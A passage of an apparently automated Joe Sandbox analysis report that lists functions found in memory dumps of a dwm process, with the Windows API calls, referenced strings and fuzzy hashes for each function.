Instruction Fuzzy Hash: 50812633F1074D86FB58AB69AC4C3592390B75578CF874629EA044739EEB3BC94587C0

Function 0000026DB16E9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000026DB16E9E49
GetLastError.KERNEL32 ref: 0000026DB16E9E57
LoadLibraryExW.KERNEL32 ref: 0000026DB16E9E81
FreeLibrary.KERNEL32 ref: 0000026DB16E9EC7
GetProcAddress.KERNEL32 ref: 0000026DB16E9ED3

Strings

api-ms-, xrefs: 0000026DB16E9E69

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 579c3e15a5ef922da687d2f95c73ffebc26af39e7fd6273426b778e12b48ba26
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: C731A532B12748D1EE25DB56AC0875533A4BF48BA8F9B0B259E1D0B79CEF3AC545C380

Function 0000026DB16F3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000026DB16F3DE5
GetLastError.KERNEL32 ref: 0000026DB16F3DF1
CloseHandle.KERNEL32 ref: 0000026DB16F3E09
CreateFileW.KERNEL32 ref: 0000026DB16F3E34
WriteConsoleW.KERNEL32 ref: 0000026DB16F3E53

Strings

CONOUT$, xrefs: 0000026DB16F3E15

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 1e05f97e019a81556c30052025b67a67010faf91d063785e7ae4bb4612f0f864
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 5A119D31F20B8486E7508B16EC4C31973A0F798FE9F050225EA1A877A8CF7AC914C784

Function 0000026DB16E2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026DB16E2F27
HeapAlloc.KERNEL32 ref: 0000026DB16E2F3A
StrCmpNIW.SHLWAPI ref: 0000026DB16E2FAF
GetProcessHeap.KERNEL32 ref: 0000026DB16E3015
HeapFree.KERNEL32 ref: 0000026DB16E3023

Strings

dialer, xrefs: 0000026DB16E2FA8

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: f0abb7b4aa35662adb270250897fccec3ff0778e03e9ad59eee73927db4b912b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0D31D433F01B5982EB14CF1AED4872967A1FB58B88F4A42249F4847B5DEF36C4A5C780

Function 0000026DB16ECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000026DB16ECFAF
FlsSetValue.KERNEL32(?,?,?,0000026DB16ED6B5,?,?,?,?,0000026DB16ED778), ref: 0000026DB16ECFE5
FlsSetValue.KERNEL32(?,?,?,0000026DB16ED6B5,?,?,?,?,0000026DB16ED778), ref: 0000026DB16ED012
FlsSetValue.KERNEL32(?,?,?,0000026DB16ED6B5,?,?,?,?,0000026DB16ED778), ref: 0000026DB16ED023
FlsSetValue.KERNEL32(?,?,?,0000026DB16ED6B5,?,?,?,?,0000026DB16ED778), ref: 0000026DB16ED034
SetLastError.KERNEL32 ref: 0000026DB16ED04F

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 19fb92aaf78f41d8746bab5670984fd717bba40a5ce84c49154aa1bf7feed7f0
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: D7118432F0028C82FA6497359D5D33922427F547FCF964724A83A877DEEE6BC8028680

Function 0000026DB16E199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000026DB16E19C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000026DB16E19E0
PathFindFileNameW.SHLWAPI ref: 0000026DB16E19EF
lstrlenW.KERNEL32 ref: 0000026DB16E19FB
StrCpyW.SHLWAPI ref: 0000026DB16E1A0E
CloseHandle.KERNEL32 ref: 0000026DB16E1A1C

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 6cc60bab3edfc80ab0bf1b1b68102f51cc74f53e0a5f456eeb292763ac526ea5
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 61018C32B00A4882EB20DB56F84C75963A1F798FC9F894035DE4A43758DF3EC989C780

Function 0000026DB16E36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026DB16E36E4
GetCurrentProcess.KERNEL32 ref: 0000026DB16E36F2
VirtualProtectEx.KERNEL32 ref: 0000026DB16E3714
GetCurrentProcess.KERNEL32 ref: 0000026DB16E3732
VirtualProtectEx.KERNEL32 ref: 0000026DB16E3753
TerminateThread.KERNEL32 ref: 0000026DB16E3762

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 7a58fe53f2c8d22241571f4ee77b4899069a8e2b6000b037f786f85d33186c39
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 8B011776F11B48C2EF259B21EC0D72A73B0BB59B8AF560528CA4907768EF3EC548C744

Function 0000026DB16E8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026DB16E9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026DB16E90A8
RtlUnwindEx.NTDLL ref: 0000026DB16E90F7

Strings

f, xrefs: 0000026DB16E9026
csm, xrefs: 0000026DB16E908E

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 09fae56c56ed387303c8764d6db5e1c04d0039bc279674bda1e0c5e917479ea9
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6451D433B0160886EB14CF25EC4CB9937A5FB54B8DF928628DE164778CEB36C841C780

Function 0000026DB16E1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000026DB16E1A60
StrCmpNIW.SHLWAPI ref: 0000026DB16E1A7A
lstrlenW.KERNEL32 ref: 0000026DB16E1A89
StrCpyW.SHLWAPI ref: 0000026DB16E1A9E

Strings

\\?\, xrefs: 0000026DB16E1A6E

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 23101e8bac732e14f1f7b23abeb2240bfd7bcae22aa721ee4eea136ba59ce63b
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 5BF03C72B0464992EB708B25ED8876967A0F758B8CF954120DA4946958DB2ECA8DCB40

Function 0000026DB16E3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000026DB16E3066
StrCpyW.SHLWAPI ref: 0000026DB16E3076
StrCatW.SHLWAPI ref: 0000026DB16E3082
PathCombineW.SHLWAPI ref: 0000026DB16E3090

Strings

\\.\pipe\, xrefs: 0000026DB16E305C

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: c26758ff0396199c07dc873be3bb7d8537b3b0c9a212a891960d10243fb781fa
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 52F05832F04B8882EA008B12BD081196760FB58FC8F4AA120EE4A47B1CDE29C5458780

Function 0000026DB16EBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000026DB16EBCBD
GetProcAddress.KERNEL32 ref: 0000026DB16EBCD3
FreeLibrary.KERNEL32 ref: 0000026DB16EBCFA

Strings

mscoree.dll, xrefs: 0000026DB16EBCB4
CorExitProcess, xrefs: 0000026DB16EBCCC

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 429267d0d4446d2fa5feb1fb43cab21f32682641f020887267ec9897f448af08
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 25F06272F1560981EB148B24EC4C3596361FB94B69F650319CA6A452ECDF2EC044C380

Function 0000026DB16E5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026DB16E5726

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 2ff85500d4778eea871bccd8e4c794abedc98d614342fbc254242d8744c277fd
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: D161BD77A19B48C6EB60CB15E84831A77E0F389798F521219EA8E47BACDB7DC550CF40

Function 0000026DB16C3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026DB16C352C
_set_statfp.LIBCMT ref: 0000026DB16C3547
_set_statfp.LIBCMT ref: 0000026DB16C3563
_set_statfp.LIBCMT ref: 0000026DB16C359F

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 897877ffb62d39bad589201e0bbdad8bebd556c484760ff332f556d3a199dc08
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: A911E932F6CE1911FAA43529EC4E36911806B7937CFCB8639A976073DECE26CB4142C1

Function 0000026DB16F4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026DB16F412C
_set_statfp.LIBCMT ref: 0000026DB16F4147
_set_statfp.LIBCMT ref: 0000026DB16F4163
_set_statfp.LIBCMT ref: 0000026DB16F419F

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 5096fa46805db0d5eba7118a4900e8f07be5155d5b92be9b16789ee7642a16da
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0F117032F18A5D21F7649568ECDE37913416B793BDF1B0634A97607FEECB2AC8458280

Function 0000026DB16BF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026DB16BF124

Strings

Wednesday, xrefs: 0000026DB16BF1ED
or copy constructor iterator', xrefs: 0000026DB16BF25A, 0000026DB16BF275
Tuesday, xrefs: 0000026DB16BF0F4

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: abde3a52cf4df3080423dc425faff293e626ad9533eb1817800e0ec5b1554162
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: AA61E336F0024C46FA699B69ED5E32B6AA1E78674CF538855CA0A177BCDB37C941C380

Function 0000026DB16EAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000026DB16EAA68
_CallSETranslator.LIBVCRUNTIME ref: 0000026DB16EAAB7

Strings

RCC, xrefs: 0000026DB16EAA85
MOC, xrefs: 0000026DB16EAA7C

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: affc87684284764a2ab0774d118326dc4b9f70f2fc1dd7146b6941827c64332f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: DA614633B00B88CAEB20DF69D8843AD77A0F758B8CF554216EE4957B98DB39C595C780

Function 0000026DB16BA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026DB16BA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026DB16BA288

Strings

csm, xrefs: 0000026DB16BA1C2
csm, xrefs: 0000026DB16BA2DA

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: d7f660fa681c8cb93fbc710d1c7bf19647c34010a799980539e68d54f452ef8a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A651B132B00288CAEB748F15984A35E77A0F355B8CF1A8216DB89C7BDDCB7AD450C780

Function 0000026DB16EAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026DB16EADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026DB16EAE88

Strings

csm, xrefs: 0000026DB16EAEDA
csm, xrefs: 0000026DB16EADC2

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: f613ccf04dfa6579a3ca04c1ed712572304a526b62d5fc1af6f29e4bff97c205
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: BB51B673B00388CAEB748F15988835977A0F754B8DF9A8315DA5987BDDCB36D451C780

Function 0000026DB16B8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026DB16B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026DB16B84A8

Strings

f, xrefs: 0000026DB16B8426
csm, xrefs: 0000026DB16B848E

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 62fc8aa2e8d62d1c1b5938075618f77f3d2e8a678a9615712a2b1111db10df72
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 9A51DE33B122088AEB95DF15EC49B5A3799F358B9CF628124DA064378CEB36DC41C784

Function 0000026DB16B83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026DB16B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026DB16B84A8

Strings

f, xrefs: 0000026DB16B8426
csm, xrefs: 0000026DB16B848E

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 34418acd86f7283396d162ee48b82010f6baf6343cfd6370cfc2196a288a63e7
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7131AE32B0174896EB55EF11EC49B5A77A8F348B9CF268018EE5B0778DDB3AD940C784

Function 0000026DB16F2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000026DB16F20D7
WriteFile.KERNEL32 ref: 0000026DB16F239F
WriteFile.KERNEL32 ref: 0000026DB16F23E5
GetLastError.KERNEL32 ref: 0000026DB16F249B

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 000751ae4728074a4d4770e16d66dfcd18980676af8fb22edeb76422ba5434ab
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 8ED1F172F15A8889E711CFB9D84839C3BB1F35479CF11821ACE5997B9DDA3AC406CB80

Function 0000026DB16E14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026DB16E14C5
HeapFree.KERNEL32 ref: 0000026DB16E14D4
GetProcessHeap.KERNEL32 ref: 0000026DB16E14E1
HeapFree.KERNEL32 ref: 0000026DB16E14F0
GetProcessHeap.KERNEL32 ref: 0000026DB16E1500

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 1b63bda7a3b2f64073a224fc9e68673fad4f203e94f10cdb9c056bd16c43cb3a
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: B1015A32E05B98C6E704DF6AED0814A77A0F799F8AF064425EA4A43729DE39C051C780

Function 0000026DB16F2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000026DB16F2A9C
GetLastError.KERNEL32 ref: 0000026DB16F2B27

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 2914282608597c0e54373ae9373649dc6f4af84410f1f8e1c7ccd05fc9b06805
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 8191BE72F0065C85F761DF699C883AD2BA0F754B8CF56410DDE0A67A9CDB36C886CB80

Function 0000026DB16E7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000026DB16E798C
GetCurrentThreadId.KERNEL32 ref: 0000026DB16E799A
GetCurrentProcessId.KERNEL32 ref: 0000026DB16E79A6
QueryPerformanceCounter.KERNEL32 ref: 0000026DB16E79B6

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 56a4de870c5bf82cc91a9eb2bf3fb88f08382fb6015aca4a7eec940d2ada81fe
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: F811FE36F10F0589EB00CF64EC593A833A4F75975DF451E25EA6D477A8DB79C1988380

Function 0000026DB16E253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026DB16E2620
StrCpyW.SHLWAPI ref: 0000026DB16E2639

Strings

\\.\pipe\, xrefs: 0000026DB16E262B

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 186c736daf2fe598c8f0eeee440fc03c42f5a87af06a7fb27e0c6c1a3c51c029
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 4571D537B0078986EB25DF25DC483BA6796F389B88F96021ADD0953B8DDF36C645C780

Function 0000026DB16B9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000026DB16B9EB7

Strings

RCC, xrefs: 0000026DB16B9E85
MOC, xrefs: 0000026DB16B9E7C

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 343f8ed96ae9e255e8d6cc2e5d8b0d50d6fabb5b2d693b9dd6750b7c6467db44
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
